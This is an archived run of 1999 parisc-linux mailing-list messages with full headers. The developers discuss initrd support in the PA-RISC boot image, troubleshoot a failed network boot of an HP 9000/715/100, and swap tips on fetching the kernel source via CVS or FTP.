To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: rbradetich@uswest.net  Mon Aug 23 21:44:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA08629
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Aug 1999 21:44:14 -0600
Original-Received: (qmail 9404 invoked by uid 15267); 24 Aug 1999 03:45:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9382 invoked from network); 24 Aug 1999 03:45:49 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 03:45:49 -0000
Original-Received: (qmail 29287 invoked by alias); 24 Aug 1999 03:45:45 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 29267 invoked by uid 0); 24 Aug 1999 03:45:45 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.67)
  by boispop1.bois.uswest.net with SMTP; 24 Aug 1999 03:45:45 -0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9819

I am willing to give this a try.  I just got my C200 home, and will start working
on this in the next few days.  Anyone want to give a newbie some pointers on
where to look?

Thanks,
-Ryan


Matthew Wilcox wrote:

> Is anyone looking into the signal handling and delivery stuff right now?
> This is one of the few remaining independent areas; your chance to become
> an expert on Linux and HPUX signalling :-)
>
> --
> Matthew Wilcox <willy@bofh.ai> <willy@thepuffingroup.com>
> "Windows and MacOS are products, contrived by engineers in the service of
> specific companies. Unix, by contrast, is not so much a product as it is a
> painstakingly compiled oral history of the hacker subculture." - N Stephenson
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] initrd/ramdisk-Status...
Date: Tue, 24 Aug 1999 21:11:58 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <99082421482700.00413@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619729 13295 80.91.229.3 (22 Nov 2014 01:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:49 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Tue Aug 24 13:55:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA10593
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 13:55:35 -0600
Original-Received: (qmail 24656 invoked by uid 15267); 24 Aug 1999 19:57:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24649 invoked from network); 24 Aug 1999 19:57:09 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 19:57:09 -0000
Original-Received: (qmail 16975 invoked from network); 24 Aug 1999 19:48:27 -0000
Original-Received: from dialppp-5-152.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.5.152)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 24 Aug 1999 19:48:27 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9820

Hello,

After my last commits, I think it is time to inform the list of the status
of initrd:

The first: initrd via bootloader should be usable now....

Internals / How to use:
I programmed it in such a way, that the bootable image in arch/parisc/boot/
holds a directory-structure for up to 63 possible ramdisks, which can be
selected during boot via initrd=<number> or initrd=<name>.  
The reason for adding support for multiple ramdisks is, that distributions
later can add easier support for multiple/different machines in one bootfile.

Ready-made-ramdisks with a name of "ramdisk.bin", which resides in the
main-directory of the Linux-Sources, will be automatically added during a "make
Image".  More ramdisks can be added at any time with the program
arch/parisc/boot/addramdisk.

The bootloader will print at startup a list of all available ramdisks and
loads the first (if any) ramdisk by default. 
More, the bootloader gives you the possibility to change the commandline (and
the initrd=-command) if it is started via "boot lan isl" or "boot alt isl"... 

Memory-Layout:
Since I didnt knew, where to load the ramdisk I decided to load it to the end of the available RAM.
The adress will be printed during boot.


Ideas and comments are welcome,

Helge Deller.


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] initrd/ramdisk-Status...
Date: Tue, 24 Aug 1999 22:38:15 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <19990824223815.E31994@mencheca.ch.genedata.com>
References: <99082421482700.00413@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619729 13299 80.91.229.3 (22 Nov 2014 01:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Aug 24 14:36:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA10953
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 14:36:40 -0600
Original-Received: (qmail 4161 invoked by uid 15267); 24 Aug 1999 20:38:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4154 invoked from network); 24 Aug 1999 20:38:18 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 20:38:18 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id WAA20558;
	Tue, 24 Aug 1999 22:38:17 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id WAA393196;
	Tue, 24 Aug 1999 22:38:16 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11JNKi-0002KZC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Helge.Deller@ruhr-uni-bochum.de; Tue, 24 Aug 1999 22:38:16 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <99082421482700.00413@P100>; from Helge Deller on Tue, Aug 24, 1999 at 09:11:58PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9821

On Tue, Aug 24, 1999 at 09:11:58PM +0200, Helge Deller wrote:
> I programmed it in such a way, that the bootable image in arch/parisc/boot/
> holds a directory-structure for up to 63 possible ramdisks, which can be
> selected during boot via initrd=<number> or initrd=<name>.  
> The reason for adding support for multiple ramdisks is, that distributions
> later can add easier support for multiple/different machines in one bootfile.

Hang on, this doesn't make sense.  There should be no difference between
the binaries, the only difference should be the kernels.  I believe the
plan is to put UFS-reading code into the bootloader in any case (mkp?)
which makes all this a temporary hack; as it should be.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 715/100
Date: Tue, 24 Aug 1999 14:21:35 -0700
Lines: 95
Approved: news@gmane.org
Message-ID: <199908242121.OAA09713@milano.cup.hp.com>
References: <19990824223815.E31994@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619730 13305 80.91.229.3 (22 Nov 2014 01:28:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Aug 24 15:20:13 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA11346
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 15:20:13 -0600
Original-Received: (qmail 16404 invoked by uid 15267); 24 Aug 1999 21:21:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16393 invoked from network); 24 Aug 1999 21:21:21 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 21:21:21 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA24411
	for <parisc-linux@thepuffingroup.com>; Tue, 24 Aug 1999 14:21:12 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA09713 for <parisc-linux@thepuffingroup.com>; Tue, 24 Aug 1999 14:21:35 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 24 Aug 1999 22:38:15 PDT."
             <19990824223815.E31994@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9822


I finally managed to build a kernel from the 08/07/99 tar file.
Now I can't boot it!

I might need to update the source tree again but need
to figure out how CVS can operate through HP's firewall.


Here's the /etc/bootptab entry:
linuxferris:\
        hd=/linux/linux-2.2.3/arch/parisc/boot:\
        bf=Image:\
        vm=rfc1048:\
        ht=ether:\
        ha=0800097B9230:\
        sm=255.255.248.0:\
        ip=15.16.122.147

Where "/linux/linux-2.2.3" is the kernel source tree.

I also wasn't sure about the difference between
CONFIG_PA7100 and CONFIG_PA7300 in the .config file.
I thought the 715/100 is an older machine before 7300LC
was available and thus is PA7100. Is this right?

"lifls Image" returns
	lifls: Can't list Image; not a LIF volume

Whereas "file Image" says:
	Image:          lif file

<sigh>...can anyone explain this?


Lastly, I've attached the console output.

thanks,
grant


BOOT_ADMIN> inf

System model number: HP 9000/715/100
Processor revision 2.4  100MHz
Instruction Cache Size:  131072
Data Cache Size:         131072
Memory Size:  64 MB
Built in floating point coprocessor
Board Serial Number 40SM891817

BootRom Version    1.6  

auto boot on
auto search on
fastboot on

Primary boot path:    scsi.6.0
Alternate boot path:  lan.000000-000000.0.0
Console path:         graphics_1.1
Keyboard path:        ps2

LAN Station Addresses: 080009-7B9230
                       080009-7B9231


BOOT_ADMIN> sea lan

Searching for potential boot device.
This may take several minutes.

To discontinue, press ESCAPE.

   Device Path              Device Type
   -----------              -----------
   lan.15.16.121.48.3.52                         


BOOT_ADMIN> bo lan.15.16.121.48.3.52
0x06.C740


Attempting to boot.

Loading Initial Program Loader

0x06.8007
0x06.8007
0x06.8007
0x06.8007

ERROR: Cannot load IPL, error detected

0x06.C7F0
Boot process failed. press <ESCAPE> to Continue.


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 715/100
Date: Tue, 24 Aug 1999 23:44:40 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <19990824234440.H31994@mencheca.ch.genedata.com>
References: <19990824223815.E31994@mencheca.ch.genedata.com> <199908242121.OAA09713@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619730 13309 80.91.229.3 (22 Nov 2014 01:28:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:50 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Aug 24 15:43:39 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA11668
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 15:43:38 -0600
Original-Received: (qmail 23571 invoked by uid 15267); 24 Aug 1999 21:44:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23559 invoked from network); 24 Aug 1999 21:44:43 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 21:44:43 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id XAA20741;
	Tue, 24 Aug 1999 23:44:41 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id XAA412327;
	Tue, 24 Aug 1999 23:44:40 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11JOMy-0002KZC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for grundler@cup.hp.com; Tue, 24 Aug 1999 23:44:40 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <199908242121.OAA09713@milano.cup.hp.com>; from Grant Grundler on Tue, Aug 24, 1999 at 02:21:35PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9823

On Tue, Aug 24, 1999 at 02:21:35PM -0700, Grant Grundler wrote:
> I finally managed to build a kernel from the 08/07/99 tar file.

I assume you mean 07/Aug/99 rather than 08/Jul/99?  :-)

> Now I can't boot it!
> 
> I might need to update the source tree again but need
> to figure out how CVS can operate through HP's firewall.

Can you ssh out?  CVS_RSH=ssh should do the trick if so.

> I also wasn't sure about the difference between
> CONFIG_PA7100 and CONFIG_PA7300 in the .config file.
> I thought the 715/100 is an older machine before 7300LC
> was available and thus is PA7100. Is this right?

Well, according to /usr/sam/lib/mo/sched.models (a very useful file!)

715     1.1c    PA7100LC

It doesn't mention the submodels explicitly.  However,

http://www.thepuffingroup.com/parisc/hp9000_models.html

says the 715/100 (both variants!) have PCXL CPUs which is the same as that
on the 712 models, which we know to be the 7100LC.

Sorry I can't be of any help on the actual problem though...

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Whee! ftp://puffin.external.hp.com/pub/parisc/cvs fixed.
Date: Tue, 24 Aug 1999 18:53:18 -0400
Organization: The Puffin Group
Lines: 17
Approved: news@gmane.org
Message-ID: <37C3225E.94338B9D@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619730 13315 80.91.229.3 (22 Nov 2014 01:28:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Tue Aug 24 16:35:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA12182
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 16:35:39 -0600
Original-Received: (qmail 4513 invoked by uid 15267); 24 Aug 1999 22:37:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4503 invoked from network); 24 Aug 1999 22:37:17 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 22:37:17 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA11964
	for <parisc-linux@thepuffingroup.com>; Tue, 24 Aug 1999 18:53:19 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9824


There's been some pretty large problems with
ftp://puffin.external.hp.com/pub/parisc/cvs in the past.

Those difficult times are behind us, and you should now, on a daily
basis, be able to ftp down the latest source tree for binutils, egcs and
more importantly the kernel.



- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 715/100
Date: Tue, 24 Aug 1999 18:57:54 -0400
Organization: The Puffin Group
Lines: 22
Approved: news@gmane.org
Message-ID: <37C32372.2D1BD34B@thepuffingroup.com>
References: <199908242121.OAA09713@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619731 13318 80.91.229.3 (22 Nov 2014 01:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Tue Aug 24 16:42:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA12355
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 16:42:13 -0600
Original-Received: (qmail 6099 invoked by uid 15267); 24 Aug 1999 22:43:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6082 invoked from network); 24 Aug 1999 22:43:51 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 22:43:51 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA11970;
	Tue, 24 Aug 1999 18:57:55 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9825

Grant Grundler wrote:
> 
> I finally managed to build a kernel from the 08/07/99 tar file.
> Now I can't boot it!

No problem.  We've been through this a lot.

You should really grab the latest kernel, a lot has changed since either
the July 8th or August 7th release.  CVS is really the better way to
handle this, but you can ftp down the latest (fixed!) source tree from
ftp://puffin.external.hp.com/pub/parisc/cvs .

I know there's some problems with our LIF header not being complete, but
there's not a lot we can do about this until we have docs on LIF.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: Re: [parisc-linux] initrd/ramdisk-Status...
Date: Wed, 25 Aug 1999 00:50:34 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <99082500505601.00280@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619731 13321 80.91.229.3 (22 Nov 2014 01:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Tue Aug 24 16:49:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA12742
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 16:49:24 -0600
Original-Received: (qmail 8022 invoked by uid 15267); 24 Aug 1999 22:51:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8000 invoked from network); 24 Aug 1999 22:51:02 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 22:51:02 -0000
Original-Received: (qmail 2460 invoked from network); 24 Aug 1999 22:50:56 -0000
Original-Received: from dialppp-1-177.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.1.177)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 24 Aug 1999 22:50:56 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9826



----------  Weitergeleitete Nachricht  ----------
Subject: Re: [parisc-linux] initrd/ramdisk-Status...
Date: Wed, 25 Aug 1999 00:37:55 +0200
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>


Hi Matthew,

Am Tue, 24 Aug 1999 schrieben Sie:
> On Tue, Aug 24, 1999 at 09:11:58PM +0200, Helge Deller wrote:
> > I programmed it in such a way, that the bootable image in arch/parisc/boot/
> > holds a directory-structure for up to 63 possible ramdisks, which can be
> > selected during boot via initrd=<number> or initrd=<name>.  
> > The reason for adding support for multiple ramdisks is, that distributions
> > later can add easier support for multiple/different machines in one bootfile.
> 

> Hang on, this doesn't make sense.  There should be no difference between
> the binaries, the only difference should be the kernels.  

Yes, maybe I could change it to select the kernel..... What do you think ?
On the other side, there also could be different binaries for PA1.x / PA2.

> I believe the
> plan is to put UFS-reading code into the bootloader in any case (mkp?)
> which makes all this a temporary hack; as it should be.

Yes of course is UFS-reading the most important part, but how would you do
UFS-reading over Network or from a DAT on a new system without preinstalled fs
or unformatted fs ?

Helge.

> 
> -- 
> Matthew Wilcox <willy@bofh.ai>
> "Windows and MacOS are products, contrived by engineers in the service of
> specific companies. Unix, by contrast, is not so much a product as it is a
> painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 715/100
Date: Tue, 24 Aug 1999 15:55:40 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <199908242255.PAA09913@milano.cup.hp.com>
References: <19990824234440.H31994@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619731 13323 80.91.229.3 (22 Nov 2014 01:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: grundler@cup.hp.com  Tue Aug 24 16:53:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA13074
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 16:53:51 -0600
Original-Received: (qmail 9194 invoked by uid 15267); 24 Aug 1999 22:55:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9187 invoked from network); 24 Aug 1999 22:55:30 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 22:55:30 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA05591;
	Tue, 24 Aug 1999 15:55:21 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id PAA09913; Tue, 24 Aug 1999 15:55:44 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 24 Aug 1999 23:44:40 PDT."
             <19990824234440.H31994@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9827

Matthew Wilcox wrote:
> On Tue, Aug 24, 1999 at 02:21:35PM -0700, Grant Grundler wrote:
> > I finally managed to build a kernel from the 08/07/99 tar file.
> 
> I assume you mean 07/Aug/99 rather than 08/Jul/99?  :-)

Yes - sorry about the convoluted american date notation.
The linux-2.2.3-19990808.tar.gz is only 291 bytes.
19990807 was the last "full" tarball.

> > Now I can't boot it!
> > 
> > I might need to update the source tree again but need
> > to figure out how CVS can operate through HP's firewall.
> 
> Can you ssh out?  CVS_RSH=ssh should do the trick if so.

Didn't have ssh...but "socksify" command seems to work
rather nicely. Found it in /opt/socks/bin and cvs can now
talk to the puffin.external.hp.com.


> > I also wasn't sure about the difference between
> > CONFIG_PA7100 and CONFIG_PA7300 in the .config file.
> > I thought the 715/100 is an older machine before 7300LC
> > was available and thus is PA7100. Is this right?
> 
> Well, according to /usr/sam/lib/mo/sched.models (a very useful file!)
> 
> 715     1.1c    PA7100LC

Forgot about this table...good thinking.

> 
> It doesn't mention the submodels explicitly.  However,
> 
> http://www.thepuffingroup.com/parisc/hp9000_models.html
> 
> says the 715/100 (both variants!) have PCXL CPUs which is the same as that
> on the 712 models, which we know to be the 7100LC.
> 
> Sorry I can't be of any help on the actual problem though...

This already helped...I'll assume CONFIG_PA7100 means PA7100LC.

BTW, I went through the linux/.config file and found conflicting
options enabled (eg. 712 was enabled). So, I'm rebuilding...and
we'll see what happens.

thanks,
grant


From - Thu Nov 08 21:15:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 715/100
Date: Wed, 25 Aug 1999 01:04:46 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <19990825010446.H19314@suse.de>
References: <19990824234440.H31994@mencheca.ch.genedata.com> <199908242255.PAA09913@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619732 13325 80.91.229.3 (22 Nov 2014 01:28:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:52 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Tue Aug 24 17:03:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA13498
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Aug 1999 17:03:10 -0600
Original-Received: (qmail 11792 invoked by uid 15267); 24 Aug 1999 23:04:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11785 invoked from network); 24 Aug 1999 23:04:49 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 24 Aug 1999 23:04:49 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id F1F5532CEE; Wed, 25 Aug 1999 01:04:47 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
